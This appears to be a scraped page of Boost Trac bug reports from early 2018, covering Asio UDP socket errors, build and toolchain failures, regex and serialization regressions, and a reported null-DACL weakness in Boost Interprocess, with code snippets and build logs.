I create a class to broadcast UDP messages as in the attached socket.cpp file. It works fine. Then, I wish to initialize the socket after the class constructor is initialized (to allow user input). So, I change from using socket to a socket pointer as in the socketPtr.cpp.

It is a solution suggested by this post (https://stackoverflow.com/questions/31371214/initializing-boostasio-sockets-after-constructor).

The replacements are as follows, where io_service is wrapped as boost::ref(io_service):

boost::asio::ip::udp::socket socket; boost::shared_ptr<udp::socket> socketPtr;

boost::asio::ip::udp::socket socket(io_service, endpoint.protocol()); socket.set_option(boost::asio::ip::udp::socket::reuse_address(true)); socketPtr = boost::make_shared<udp::socket>(boost::ref(io_service), endpoint.protocol()); socketPtr->set_option(boost::asio::ip::udp::socket::reuse_address(true));

socket.async_send_to(boost::asio::buffer(message), endpoint, [this](boost::system::error_code ec, std::size_t /*length*/) socketPtr->async_send_to(boost::asio::buffer(message), endpoint, [this](boost::system::error_code ec, std::size_t /*length*/)

Just one thing with the modification: it doesn't work. I keep poring over the code, and could not find the reason why it shouldn't work. Could someone please help?

#13475: boost_1_66_0, Windows 10, mingw-w4, bootstrap fails - cannot write AppData\Local\Temp file

mhkelley2017@… — Mon, 12 Mar 2018 17:31:19 GMT

Have successfully built a couple versions of boost (most recently 1_65_1), but was unable to build 1_66_0 using mingw-w64. "bootstrap gcc" returns multiple fatal errors of the form:

cc1.exe: fatal error: can't open 'C:\Users\Owner\AppData\Local\Temp\ccA01VU9.s' for writing: Permission denied compilation terminated.

Noted file is actually created somewhere during this, so unclear where/why the failure happens.

I attempted to re-build 1_65_1 (using a couple versions of mingw), with identical results.

Any suggestions where to look?

#13474: Weighted Graphs for Betweennness Centrality

abertzouanis@… — Sun, 11 Mar 2018 20:59:50 GMT

Graph edges' weights are not taken into account for the calculation of the Betweenness Centrality.

I implementing a graph definition with weighted edges similar to the one below:

http://boost.2283326.n4.nabble.com/Some-help-for-betweenness-centrality-for-undirected-weighted-graph-td4682926.html

the betweenness centrality factors for the edges do not change when I change the edges' weights.

Boost docs (http://www.boost.org/doc/libs/1_66_0/libs/graph/doc/betweenness_centrality.html) describe that Beetweenness Centrality algorithm can also operate on weighted graphs.

Could you please help?

I used Boost 1.66

#13473: asio::basic_repeating_timer broken by 1.66.0

Sat, 10 Mar 2018 16:21:55 GMT

The third-party header basic_repeating_timer.hpp, "Developed 2007 by David C. Wyles (http:///www.codegorilla.co.uk)", no longer compiles with boost::asio 1.66.0:

In file included from test1.cpp:1:0: ../Third_Party_Code/basic_repeating_timer.hpp:31:52: error: ‘deadline_timer_service’ in namespace ‘boost::asio’ does not name a template type

typename TimerService = boost::asio::deadline_timer_service<Time, TimeTraits> >

../Third_Party_Code/basic_repeating_timer.hpp:31:74: error: expected ‘>’ before ‘<’ token

typename TimerService = boost::asio::deadline_timer_service<Time, TimeTraits> >

In file included from test1.cpp:1:0: ../Third_Party_Code/basic_repeating_timer.hpp:205:59: error: template argument 3 is invalid

typedef basic_repeating_timer<boost::posix_time::ptime> repeating_timer;

#13471: Documentation warnings in Xcode 9.2

pointerphile@… — Thu, 08 Mar 2018 15:03:08 GMT

Xcode shows documentation warnings when I include <boost/process.hpp> screenshot : https://imgur.com/Uq6BsMu

Belows are my xcode project settings.

Hearder Search Paths /usr/local/include/ Library Search Paths /usr/local/lib/ Other Linker Flags = -lboost_system -lboost_filesystem

#13469: Getting lot of warnings for simple code which is using boost::Intersection

sumanth.kaliki@… — Tue, 06 Mar 2018 12:05:28 GMT

The simple code below is generating a lot of warnings in boost 1_61_0 version.

#include <boost/geometry/core/cs.hpp>
#include <boost/geometry/geometries/register/point.hpp>
#include <boost/geometry/geometries/polygon.hpp>
#include <boost/geometry/geometries/register/ring.hpp>
#include <boost/geometry.hpp>
struct Vertex2D
{
    double X;
    double Y;
};
BOOST_GEOMETRY_REGISTER_POINT_2D(Vertex2D, double, cs::cartesian, X, Y);
typedef std::vector<Vertex2D> Ring;
BOOST_GEOMETRY_REGISTER_RING(Ring);
typedef boost::geometry::model::polygon<Vertex2D> Polygon;
int main()
{
    Polygon p1;
    Polygon p2;
    std::vector<Polygon> intersections;
    boost::geometry::intersection(p1, p2, intersections);
    return 0;
}

#13468: asio receive buffer overwritten before handler called

Tue, 06 Mar 2018 10:47:26 GMT

I am developing on linux CentOS6.8

Whilst using boost::asio::ip::udp::socket::async_receive_from, I have found that if packets arrive too quickly the receive buffer is overwritten before the handler is called, resulting in a loss of data.

In order to resolve this in my implementation I have modified epoll_reactor::descriptor_state::perform_io to only process one entry from the EPOLLIN queue as below marked +++

operation* epoll_reactor::descriptor_state::perform_io(uint32_t events)
{
  mutex_.lock();
  perform_io_cleanup_on_block_exit io_cleanup(reactor_);
  mutex::scoped_lock descriptor_lock(mutex_, mutex::scoped_lock::adopt_lock);
  // Exception operations must be processed first to ensure that any
  // out-of-band data is read before normal data.
  static const int flag[max_ops] = { EPOLLIN, EPOLLOUT, EPOLLPRI };
  for (int j = max_ops - 1; j >= 0; --j)
  {
    if (events & (flag[j] | EPOLLERR | EPOLLHUP))
    {
      try_speculative_[j] = true;
      while (reactor_op* op = op_queue_[j].front())
      {
        if (reactor_op::status status = op->perform())
        {
          op_queue_[j].pop();
          io_cleanup.ops_.push(op);
          if (status == reactor_op::done_and_exhausted)
          {
            try_speculative_[j] = false;
            break;
          }
+++       if ((events & EPOLLIN) && (flag[j] == EPOLLIN))
+++	  {
+++	    // only read one packet at a time
+++            break;
+++	  }
        }
        else
          break;
      }
    }
  }

The first operation will be returned for completion now. The others will be posted for later by the io_cleanup object's destructor. io_cleanup.first_op_ = io_cleanup.ops_.front(); io_cleanup.ops_.pop(); return io_cleanup.first_op_;

}

#13467: RTTI issue with non-polymorphic types in debug mode

jlodos@… — Mon, 05 Mar 2018 18:09:14 GMT

While serializing non-polymorphic types without RTTI in debug mode you get compiler warnings and execution crashes. In release mode everything works fine. This is because dynamic_cast is used for debugging purposes. The code is in smart_cast.hpp, starting in line 87:

                #if ! defined(NDEBUG)                               \
                || defined(__MWERKS__)
                    // do a checked dynamic cast
                    return cross::cast(u);
                #else

I believe the first line could be replaced with:

                #if (! defined(NDEBUG) && ! defined(BOOST_NO_RTTI) )  \

This solved the issue for me.

#13466: Security vulnerability in Boost Interprocess

Mon, 05 Mar 2018 10:16:39 GMT

Greetings,

Our security team has flagged: if(SetSecurityDescriptorDacl(&sd, true, 0, false)) in interprocess\detail\win32_api.hpp as a "high-priority" vulnerability citing:

"Objects that have null DACLs can have their security descriptors altered by malicious users so that no one has access to the object. Even if everyone needs access to an object, the object should be secured so that only administrators can alter its security".

We've been told to bring this to your attention; Can you please let us know when it would be feasible to fix?

#13464: Boost failed to compile test in graph lib due to the error C2499.

1518134125@… — Mon, 05 Mar 2018 02:55:29 GMT

We tried to build and run graph test for Boost. It failed to build due to the error C2499: 'boost::array_binary_tree_node<RandomAccessIterator,ID>::children_type::iterator': a class cannot be its own base class. Could you please help take a look at this? Thanks!

Reproduce steps:

git clone -c core.autocrlf=true --recursive https://github.com/boostorg/boost.git D:\Boost\src
Open a VS 2015 x86 command prompt and browse to D:\Boost\src
.\bootstrap
.\b2 headers variant=release --build-dir=..\out\Release --address-model=32
.\b2 variant=release --build-dir=..\out\Release --address-model=32
.\b2 -j4 variant=release --build-dir=..\out\x86rel libs\graph\test

Expected result:

All tests passed

Actual result:

C:\Program Files (x86)\Microsoft Visual Studio\2017\Enterprise\VC\Tools\MSVC\14.12.25827\include\xlocale(315): warning C4530: C++ exception handler used, but unwind semantics are not enabled. Specify /EHsc .\boost/graph/detail/array_binary_tree.hpp(46): error C2499: 'boost::array_binary_tree_node<RandomAccessIterator,ID>::children_type::iterator': a class cannot be its own base class .\boost/graph/detail/array_binary_tree.hpp(72): note: see reference to class template instantiation 'boost::array_binary_tree_node<RandomAccessIterator,ID>::children_type::iterator' being compiled .\boost/graph/detail/array_binary_tree.hpp(94): note: see reference to class template instantiation 'boost::array_binary_tree_node<RandomAccessIterator,ID>::children_type' being compiled .\boost/graph/detail/array_binary_tree.hpp(162): note: see reference to class template instantiation 'boost::array_binary_tree_node<RandomAccessIterator,ID>' being compiled .\boost/graph/detail/array_binary_tree.hpp(46): error C2143: syntax error: missing ',' before '<'

#13463: Boost UDP multicast sender not using correct port

anonymous — Sun, 04 Mar 2018 01:12:13 GMT

I follow this code to create a UDP multicast receiver: http://www.boost.org/doc/libs/1_66_0/doc/html/boost_asio/example/cpp11/multicast/sender.cpp

I modify the code with these for predefined values:

class receiver:

short multicast_port = 13000;

in main():

if (argc != 2) and the code for argv that follows are commented out

sender s(io_context, boost::asio::ip::make_address("192.168.0.255"));

The first 3 octets match that of the local network. I check with Wireshark. It shows me that the packages are sent with source port of 53916, and destination port 0. Running the code again gives a source port of 59483, and destination port 0.

What is causing the source port to be different from specified value? How can I force it to use the specified port number? Thanks.

#13462: set_option: The requested address is not valid in its context

nguyen.tnhoang@… — Sat, 03 Mar 2018 22:08:17 GMT

I follow this code to create a UDP multicast receiver: http://www.boost.org/doc/libs/1_66_0/doc/html/boost_asio/example/cpp11/multicast/receiver.cpp

I modify the code with these for predefined values:

class receiver:

short multicast_port = 13;

in main():

if (argc != 3) and the code for argv that follows are commented out

receiver r(io_context, boost::asio::ip::make_address("127.0.0.1"), boost::asio::ip::make_address("127.0.0.1"));

This error is thrown:

set_option: The requested address is not valid in its context

I have tried "0.0.0.0" and "127.0.0.1" and other values. Still get the same error. Could someone please help me figuring out what went wrong?

#13461: C++ Boost UDP multicast errors out with socket.set_option()

nguyen.tnhoang@… — Sat, 03 Mar 2018 04:30:29 GMT

I am following an example of Boost UDP multicast sending and receiving here(https://stackoverflow.com/questions/12708558/c-multiple-multicast-receiver-with-boost-asio/12749727#12749727). I make some modifications to predefine IP and port:

#include <ctime> #include <iostream> #include <string> #include <boost/array.hpp> #include <boost/bind.hpp> #include <boost/shared_ptr.hpp> #include <boost/asio.hpp> #include <boost/lexical_cast.hpp> #include <boost/thread.hpp> using boost::asio::ip::udp; using std::cout; using std::cin; using std::endl;

void read(boost::asio::ip::udp::socket& socket) {

boost::asio::ip::udp::endpoint sender; std::vector<char> buffer; std::size_t bytes_readable = 0; for (int i = 0; i < 3; ++i) {

Poll until data is available. while (!bytes_readable) {

Issue command to socket to get number of bytes readable. boost::asio::socket_base::bytes_readable num_of_bytes_readable(true); socket.io_control(num_of_bytes_readable);

Get the value from the command. bytes_readable = num_of_bytes_readable.get();

If there is no data available, then sleep. if (!bytes_readable) {

boost::this_thread::sleep(boost::posix_time::seconds(1));

}

}

Resize the buffer to store all available data. buffer.resize(bytes_readable);

Read available data. socket.receive_from(

boost::asio::buffer(buffer, bytes_readable), sender);

Extract data from the buffer. std::string message(buffer.begin(), buffer.end());

Output data. std::cout << "Received message: "; std::cout << message << std::endl;

}

}

void write(boost::asio::ip::udp::socket& socket, boost::asio::ip::udp::endpoint& destination) {

std::string message; for (unsigned int i = 0; i < 3; ++i) {

std::ostringstream stream; stream << i; message = stream.str(); socket.send_to(boost::asio::buffer(message), destination); std::cout << "Sent message: " << message << std::endl;

}

}

int main() {

============================================================================================================ bool receiver = false; boost::asio::ip::address address = boost::asio::ip::address::from_string("127.0.0.1"); unsigned short port = boost::lexical_cast<unsigned short>("13");

Create socket. using boost::asio::ip::udp; boost::asio::io_service service; udp::socket socket(service); socket.open(boost::asio::ip::udp::v4());

Allow other processes to reuse the address, permitting other processes on the same machine to use the multicast address. socket.set_option(udp::socket::reuse_address(true));

Guarantee the loopback is enabled so that multiple processes on the same machine can receive data that originates from the same socket. socket.set_option(boost::asio::ip::multicast::enable_loopback(true)); socket.bind(udp::endpoint(boost::asio::ip::address_v4::any(), port)); udp::endpoint destination(address, port);

Join group. namespace ip = boost::asio::ip; socket.set_option(ip::multicast::join_group(address)); Start read or write loops based on command line options. if (receiver) read(socket); else write(socket, destination);

return 0;

}

An error is thrown here:

socket.set_option(ip::multicast::join_group(address));

with this detail:

Microsoft C++ exception: boost::exception_detail::clone_impl > at memory location 0x0040F470. occurred

Can someone please tell me what went wrong? Thanks.

#13460: broken shared build.

pawels@… — Thu, 01 Mar 2018 10:07:53 GMT

hi,

i'm using a boost with a custom namespace (e.g. bcp --namespace=foobar --namespace-alias ...). for such configuration the current version of program_options doesn't export symbols from shared library.

afaics the current boost build system defines in such configuration -DFOOBAR_PROGRAM_OPTIONS_DYN_LINK=1 macro which doesn't match the boost/program_options/config.hpp:37 #ifdef:

#if defined(BOOST_ALL_DYN_LINK)

defined(BOOST_PROGRAM_OPTIONS_DYN_LINK)

finally, the BOOST_PROGRAM_OPTIONS_DECL macro is empty.

this is a regression from boost-1.64.0.

#13459: boost/regex/v4/perl_matcher_non_recursive.hpp infinite loop bug

Wed, 28 Feb 2018 15:09:26 GMT

description

{{{ do

{

--position; --count; ++state_count;

}while(count && !can_start(*position, rep->_map, mask_skip));

}}}
It performs a continuous loop at this point.

Steps to Reproduce

{{{#0 boost::re_detail_106600::perl_matcher<gnu_cxx::normal_iterator<char const*, std::cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > >, std::allocator<boost::sub_match<__gnu_cxx::__normal_iterator<char const*, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > > > >, boost::regex_traits<char, boost::cpp_regex_traits<char> > >::unwind_greedy_single_repeat (this=0x7fffffffc600, r=0x0)

at ./boost_1_66_0/boost/regex/v4/perl_matcher_non_recursive.hpp:1411

#1 0x00000000006a2ec3 in boost::re_detail_106600::perl_matcher<gnu_cxx::normal_iterator<char const*, std::cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > >, std::allocator<boost::sub_match<__gnu_cxx::__normal_iterator<char const*, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > > > >, boost::regex_traits<char, boost::cpp_regex_traits<char> > >::unwind (this=0x7fffffffc600, have_match=0x0)

at ./boost_1_66_0/boost/regex/v4/perl_matcher_non_recursive.hpp:1266

#2 0x00000000006a92c3 in boost::re_detail_106600::perl_matcher<gnu_cxx::normal_iterator<char const*, std::cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > >, std::allocator<boost::sub_match<__gnu_cxx::__normal_iterator<char const*, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > > > >, boost::regex_traits<char, boost::cpp_regex_traits<char> > >::match_all_states (this=0x7fffffffc600)

at ./boost_1_66_0/boost/regex/v4/perl_matcher_non_recursive.hpp:214

#3 0x00000000006a25d9 in boost::re_detail_106600::perl_matcher<gnu_cxx::normal_iterator<char const*, std::cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > >, std::allocator<boost::sub_match<__gnu_cxx::__normal_iterator<char const*, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > > > >, boost::regex_traits<char, boost::cpp_regex_traits<char> > >::match_prefix (this=0x7fffffffc600)

at ./boost_1_66_0/boost/regex/v4/perl_matcher_common.hpp:336

#4 0x00000000005ed580 in boost::re_detail_106600::perl_matcher<gnu_cxx::normal_iterator<char const*, std::cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > >, std::allocator<boost::sub_match<__gnu_cxx::__normal_iterator<char const*, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > > > >, boost::regex_traits<char, boost::cpp_regex_traits<char> > >::match_imp (this=0x7fffffffc600) at ./boost_1_66_0/boost/regex/v4/perl_matcher_common.hpp:220 #5 0x00000000005ecb5f in boost::re_detail_106600::perl_matcher<gnu_cxx::normal_iterator<char const*, std::cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > >, std::allocator<boost::sub_match<__gnu_cxx::__normal_iterator<char const*, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > > > >, boost::regex_traits<char, boost::cpp_regex_traits<char> > >::match (this=0x7fffffffc600) at ./boost_1_66_0/boost/regex/v4/perl_matcher_common.hpp:193 #6 0x00000000004f353f in boost::regex_match<gnu_cxx::normal_iterator<char const*, std::cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > >, std::allocator<boost::sub_match<__gnu_cxx::__normal_iterator<char const*, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > > > >, char, boost::regex_traits<char, boost::cpp_regex_traits<char> > > (first=0x0, last=0x0, m=..., e=..., flags=boost::regex_constants::match_partial)

at ./boost_1_66_0/boost/regex/v4/regex_match.hpp:50

Python Exception <class 'gdb.error'> There is no member named _M_dataplus.: #7 0x00000000004f20f4 in boost::regex_match<std::char_traits<char>, std::allocator<char>, std::allocator<boost::sub_match<__gnu_cxx::__normal_iterator<char const*, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > > > >, char, boost::regex_traits<char, boost::cpp_regex_traits<char> > > (s=, m=..., e=..., flags=boost::regex_constants::match_partial) at ./boost_1_66_0/boost/regex/v4/regex_match.hpp:82 }}}

#13456: Object tracking fails with pointer to variant's content

Sat, 24 Feb 2018 14:06:05 GMT

Object tracking fails with a pointer to an object contained into a variant that is an element of a container which loads the value_type into a local object. For example a map with a variant as a mapped_type.

There is a pull request: https://github.com/boostorg/serialization/pull/96

Demo:

struct Foo
{
    int i;
    template<typename Archive>
    void serialize(Archive& ar, const unsigned int version)
    { ar & i; }
};
int main()
{
    using map_t = std::unordered_map<std::string, boost::variant<Foo, float>>;
    std::string testfile{"/tmp/serialized"};
    {
        map_t map{{"key", Foo{5}}};
        auto ptr = &boost::strict_get<Foo>(map.begin()->second);
        std::ofstream os(testfile);
        boost::archive::text_oarchive oa(os);
        oa << map;
        oa << ptr;
    }
    {
        std::ifstream is(testfile, (std::ios_base::openmode)0);
        boost::archive::text_iarchive ia(is, 0);
        map_t map;
        Foo* ptr;
        ia >> map;
        ia >> ptr;
        assert(ptr->i == 5);
    }
}

#13454: universal 32/64 bits build broken on macOS (worked until 1.65.1)

Tue, 20 Feb 2018 13:53:59 GMT

Since boost 1.66.0, when configured with architecture=x86 address-model=32_64, the build system forgets to add -arch i386 -arch x86_54 to the compilation flags (although they are still present in the link flags). The resulting libraries thus contain only the build arch.

Boost 1.65.1 correctly builds universal libraries.

to reproduce:

./bootstrap.sh --without-libraries=mpi --without-libraries=context --without-libraries=coroutine
./b2 -d2 --debug-configuration architecture=x86 address-model=32_64

#13453: add serialize/ deserialize functionality

Tue, 20 Feb 2018 08:38:43 GMT

also added here: https://github.com/boostorg/accumulators/issues/13 (not sure if github issues are reviewed)

This was also discussed here: https://stackoverflow.com/questions/32289719/how-to-serialize-boostaccumulatorsaccumulator-set

The ability to store the internal state of an object, as well as to initialize it with state is would be very useful, as this would eliminate the need to store the actual data point. Currently the different classes cannot be extended by inheritance, since their internal state is private. Anyway, since serialization and deserialization does not have any size/speed impact on the class, it is probably better to add this to the class and not to inherited version of it. Probably good to use the boost serialization library, to assure that the output is portable (serialize on one machine and deserialize on another).

#13452: Use of std deprecated code in C++17 in MSCV 2017

r.undheim@… — Tue, 20 Feb 2018 06:42:09 GMT

In Microsoft Visual C++ 2017 you have the possibility to compile with C++17 enabled. (Have to enable this to be able to use std::optional). This give a lot of warnings for deprecated stuff. The std::allocator<void> is deprecated (http://en.cppreference.com/w/cpp/memory/allocator) and the std::result_of has changed to std::invoke_result (http://en.cppreference.com/w/cpp/types/result_of). I compile with treat warning as errors, so this make is difficult to use the asio library.

#13450: boost_beast tests are failing on Windows with Intel's compiler due to incorrect boost_asio config.hpp file

Fri, 16 Feb 2018 09:25:57 GMT

$ cd boost_1_66_0/libs/beast/test/beast
$ C:/Users/ikelarev/test5/boost_1_66_0/b2 toolset=intel-18_0-vc14.1 address-model=64 --hash --disable-icu  --reconfigure -d+1 -d+2 cflags="  "  core
...
    icl @"..\..\..\..\bin.v2\libs\beast\test\beast\core.test\907320e2b6757701b88c115bc51c431a\core.obj.rsp"
...
../../../../boost/beast/core/detail/bind_handler.hpp(109): error: namespace "boost::asio" has no member "associated_allocator_t"
          boost::asio::associated_allocator_t<Handler>;
                       ^
../../../../boost/beast/core/detail/bind_handler.hpp(109): error: expected a ";"
          boost::asio::associated_allocator_t<Handler>;
                                             ^
../../../../boost/beast/core/impl/buffered_read_stream.ipp(53): error: namespace "boost::asio" has no member "associated_allocator_t"
          boost::asio::associated_allocator_t<Handler>;
                       ^
../../../../boost/beast/core/impl/buffered_read_stream.ipp(53): error: expected a ";"
          boost::asio::associated_allocator_t<Handler>;
                                             ^
../../../../boost/beast/core/impl/buffered_read_stream.ipp(62): error: namespace "boost::asio" has no member "associated_executor_t"
          boost::asio::associated_executor_t<Handler, decltype(
                       ^
compilation aborted for core.cpp (code 4)

associated_allocator_t is defined in boost/asio/associated_allocator.hpp header file:

#if defined(BOOST_ASIO_HAS_ALIAS_TEMPLATES)
template <typename T, typename Allocator = std::allocator<void> >
using associated_allocator_t
  = typename associated_allocator<T, Allocator>::type;
#endif // defined(BOOST_ASIO_HAS_ALIAS_TEMPLATES)

This means that associated_allocator_t will not be defined if BOOST_ASIO_HAS_ALIAS_TEMPLATES macro is not defined. This macro definition is arranged in boost/asio/detail/config.hpp header file:

// Support alias templates on compilers known to allow it.
#if !defined(BOOST_ASIO_HAS_ALIAS_TEMPLATES)
# if !defined(BOOST_ASIO_DISABLE_ALIAS_TEMPLATES)
...
#  if defined(BOOST_ASIO_MSVC)
#   if (_MSC_VER >= 1900)
#    define BOOST_ASIO_HAS_ALIAS_TEMPLATES 1
#   endif // (_MSC_VER >= 1900)
#  endif // defined(BOOST_ASIO_MSVC)
# endif // !defined(BOOST_ASIO_DISABLE_ALIAS_TEMPLATES)
#endif // !defined(BOOST_ASIO_HAS_ALIAS_TEMPLATES)

This means that BOOST_ASIO_MSVC macro is required for BOOST_ASIO_HAS_ALIAS_TEMPLATES definition. BOOST_ASIO_MSVC definition is arranged in the same file before.

// Microsoft Visual C++ detection.
#if !defined(BOOST_ASIO_MSVC)
# if defined(BOOST_ASIO_HAS_BOOST_CONFIG) && defined(BOOST_MSVC)
#  define BOOST_ASIO_MSVC BOOST_MSVC
# elif defined(_MSC_VER) && (defined(__INTELLISENSE__) \
      || (!defined(__MWERKS__) && !defined(__EDG_VERSION__)))
#  define BOOST_ASIO_MSVC _MSC_VER
# endif // defined(BOOST_ASIO_HAS_BOOST_CONFIG) && defined(BOOST_MSVC)
#endif // defined(BOOST_ASIO_MSVC)

It's obvious from the code that BOOST_ASIO_HAS_BOOST_CONFIG and BOOST_MSVC macros are required for BOOST_ASIO_MSVC macro definition. BOOST_ASIO_HAS_BOOST_CONFIG macro is actually defined but BOOST_MSVC macro is defined only for Microsoft cl compiler. For Intel's icl compiler BOOST_MSVC macro is not defined and BOOST_INTEL macro is defined instead.

As a result BOOST_ASIO_MSVC and BOOST_ASIO_HAS_ALIAS_TEMPLATES macros will not be defined. And finally 'namespace "boost::asio" has no member "associated_allocator_t"' error appears.

One of possible solutions is to add this code into boost/asio/detail/config.hpp file:

 #if !defined(BOOST_ASIO_MSVC)
 # if defined(BOOST_ASIO_HAS_BOOST_CONFIG) && defined(BOOST_MSVC)
 #  define BOOST_ASIO_MSVC BOOST_MSVC
+# elif defined(BOOST_ASIO_HAS_BOOST_CONFIG) && defined(BOOST_INTEL)
+#  define BOOST_ASIO_MSVC BOOST_INTEL
 # elif defined(_MSC_VER) && (defined(__INTELLISENSE__) \
       || (!defined(__MWERKS__) && !defined(__EDG_VERSION__)))
 #  define BOOST_ASIO_MSVC _MSC_VER

#13449: Execution of boost_mpl_preprocess.py fails if $(boost_root) path contains the string "linux"

Thu, 15 Feb 2018 08:59:29 GMT

How to reproduce:

Build System: Ubuntu 16.04.0 LTS GCC: all

Let's say that we have the boost sources in /tmp/boost-linux/boost_1_X_X

The important thing is to have the string linux in the boost-root variable.

Error log:

python boost_mpl_preprocess.py
In file included from /tmp/boost-linux/boost_1_63_0/libs/mpl/preprocessed/vector/vector40.cpp:15:0:
/tmp/boost-linux/boost_1_63_0/boost/config.hpp:30:29: fatal error: /tmp/boost-1/boost_1_63_0/libs/mpl/preprocessed/include/plain/user.hpp: No such file or directory
compilation terminated.
In file included from /tmp/boost-linux/boost_1_63_0/libs/mpl/preprocessed/vector/vector70.cpp:15:0:
/tmp/boost-linux/boost_1_63_0/boost/config.hpp:30:29: fatal error: /tmp/boost-1/boost_1_63_0/libs/mpl/preprocessed/include/plain/user.hpp: No such file or directory
compilation terminated.
In file included from /tmp/boost-linux/boost_1_63_0/libs/mpl/preprocessed/vector/vector30.cpp:15:0:
/tmp/boost-linux/boost_1_63_0/boost/config.hpp:30:29: fatal error: /tmp/boost-1/boost_1_63_0/libs/mpl/preprocessed/include/plain/user.hpp: No such file or directory
compilation terminated.

Problem: This appears because in preprocess.cmd gcc is invoked with include files included with angle brackets, so if we have the string linux it will be evaluated to 1 because it is a macro

#13448: Json Property tree throwing error when a node has interger value greater than INT_MAX of int32

tejaveda.2008@… — Thu, 15 Feb 2018 07:56:40 GMT

When I have Json with a node having value greater than INT_MAX of int32 { "a" :3140000000 }

When I access any node in that json, it throws error saying "No such Node"

#13447: BOOST_PP_VARIADICS should be 1 for NVCC

Wed, 14 Feb 2018 17:13:14 GMT

Hi,

I just run into the problem that my boost preprocessor using code was not running because BOOST_PP_VARIADIC in /boost/preprocessor/config/config.hpp is set to 0 for __CUDACC__ in line 74.

However for my application variadic macros as working great with the nvidia compiler. What is needed to accept the nvidia compiler as tested compiler as stated in line 73 of the same file?

#13446: \R does not match \v and \n when combined with flag no_escape_in_lists

youcef.l@… — Wed, 14 Feb 2018 10:50:10 GMT

The following code

#include <iostream>
#include <boost/regex.hpp>
int main(int argc, char** argv)
{
	auto backslashR = boost::regex("\\R", boost::regex_constants::no_escape_in_lists);
	std::cout << std::boolalpha;
	std::cout << "regex='\\R', text='\\r', match found: " << boost::regex_search("\r", backslashR) << std::endl;
	std::cout << "regex='\\R', text='\\n', match found: " << boost::regex_search("\n", backslashR) << std::endl;
	std::cout << "regex='\\R', text='\\v', match found: " << boost::regex_search("\v", backslashR) << std::endl;
	return 0;
}

outputs

regex='\R', text='\r', match found: true
regex='\R', text='\n', match found: true
regex='\R', text='\v', match found: true

using boost regex v1.55 and v1.64. Using version 1.66 I get this:

regex='\R', text='\r', match found: true
regex='\R', text='\n', match found: false
regex='\R', text='\v', match found: false

Compiler: Visual Studio 2017, toolset=v141, VC15.5.1

#13445: Manual entry for abs function of vector space algebra differs from implementation

jan@… — Tue, 13 Feb 2018 11:39:46 GMT

The manual entry for a vector space algebra definition in boost odeint states that the return value of the abs function necessary for controlled steppers must be of state type. http://www.boost.org/doc/libs/1_66_0/libs/numeric/odeint/doc/html/boost_numeric_odeint/odeint_in_detail/state_types__algebras_and_operations.html#boost_numeric_odeint.odeint_in_detail.state_types__algebras_and_operations.algebras_and_operations.vector_space_algebra This works only for fundamental types as described in the following stackoverflow entry. https://stackoverflow.com/questions/44566641/boost-odeint-controlled-stepper-with-custom-class-and-vector-space-algebra For custom types it only compiles when the return value of the abs function is of value type. This would also correspond to the mathematical understanding of the absolute value defined in a vector space.

#13444: boost::geometry::buffer returns only partial result (regression over 1.63.0)

andre.meyer@… — Fri, 09 Feb 2018 10:44:56 GMT

using boost::geometry::buffer with multilinestring, only 1 of expected 3 polygons are returned.

The fix ist to buffer each linestring separately and union_ them into one multipolygon. This also turned out to be much faster.

I do not have a simple example, but a rather complex one, which I will attach.

Version 1.63.0 returned all 3 polygons, but was also rather slow when compared with the workaround.

#13442: pmr::synchronized_pool_resource is affected by thread priority inversion

enniobarbaro@… — Wed, 07 Feb 2018 09:41:11 GMT

In our setup, we have several high priority threads that occasionally need to allocate memory using synchronized_pool_resource::allocate. Such memory is later released by a lower priority thread using synchronized_pool_resource::deallocate.

It might sometimes happen that several allocate calls happen simultaneously with deallocate. Because of the spinlock implementation used by dlmalloc, the high priority threads are in a busy loop trying to acquire the lock, but the kernel might have no resources left to awake the "cleaner" thread that is currently holding the lock.

Attached is a minimum example that Linux SCHED_FIFO scheduler. Running the program, on my system I can see:

1) The program prints 'failed' several times, meaning that some calls to allocate blocked for more than a second.

2) The total execution time is approximately 120 times slower than a version that does not use any thread priority.

Inspecting the program with perf one can see that most of the time is spent inside boost_cont_sync_lock, in particular in sched_yield.

A possible solution could be to switch to a pure pthread implementation by defining USE_SPIN_LOCKS=0 before including dlmalloc_2_8_6.c

System: Linux SPC-LT48 4.9.0-4-amd64 #1 SMP Debian 4.9.65-3 (2017-12-03) x86_64 GNU/Linux

#13441: Boos.Locale message formating exception if 'ß' used in translation file

mattias.eppler@… — Wed, 07 Feb 2018 07:49:19 GMT

If I use a 'ß' in the translation and load this resource file i get an debug error.

boost::locale::generator gen;
gen.add_messages_domain("MyDomain");
const auto de = gen("de_DE"); // debug error

#13440: Paths to boost libraries contain colons on OS X 10.13 (xcode 9) with Intel's compiler

Tue, 06 Feb 2018 14:43:35 GMT

After some changes in build system in boost 1.66 many tests started to fail on Mac OS with Intel's compiler due to colon in paths to boost libraries. With Clang compiler or on Linux this problem does not appear. OS X example:

$ pwd
/export/users/ikelarev/test3/boost_1_66_0/libs/array/test
$ ../../../b2 toolset=intel-darwin array0
...
testing.capture-output ../../../bin.v2/libs/array/test/array0.test/intel-darwin/debug/threadapi-pthread/toolset-intel-darwin:linker-type-darwin/array0.run
/bin/sh: line 9: 26781 Abort trap: 6           "../../../bin.v2/libs/array/test/array0.test/intel-darwin/debug/threadapi-pthread/toolset-intel-darwin:linker-type-darwin/array0" > "../../../bin.v2/libs/array/test/array0.test/intel-darwin/debug/threadapi-pthread/toolset-intel-darwin:linker-type-darwin/array0.output" 2>&1 < /dev/null
====== BEGIN OUTPUT ======
dyld: Library not loaded: libboost_unit_test_framework.dylib
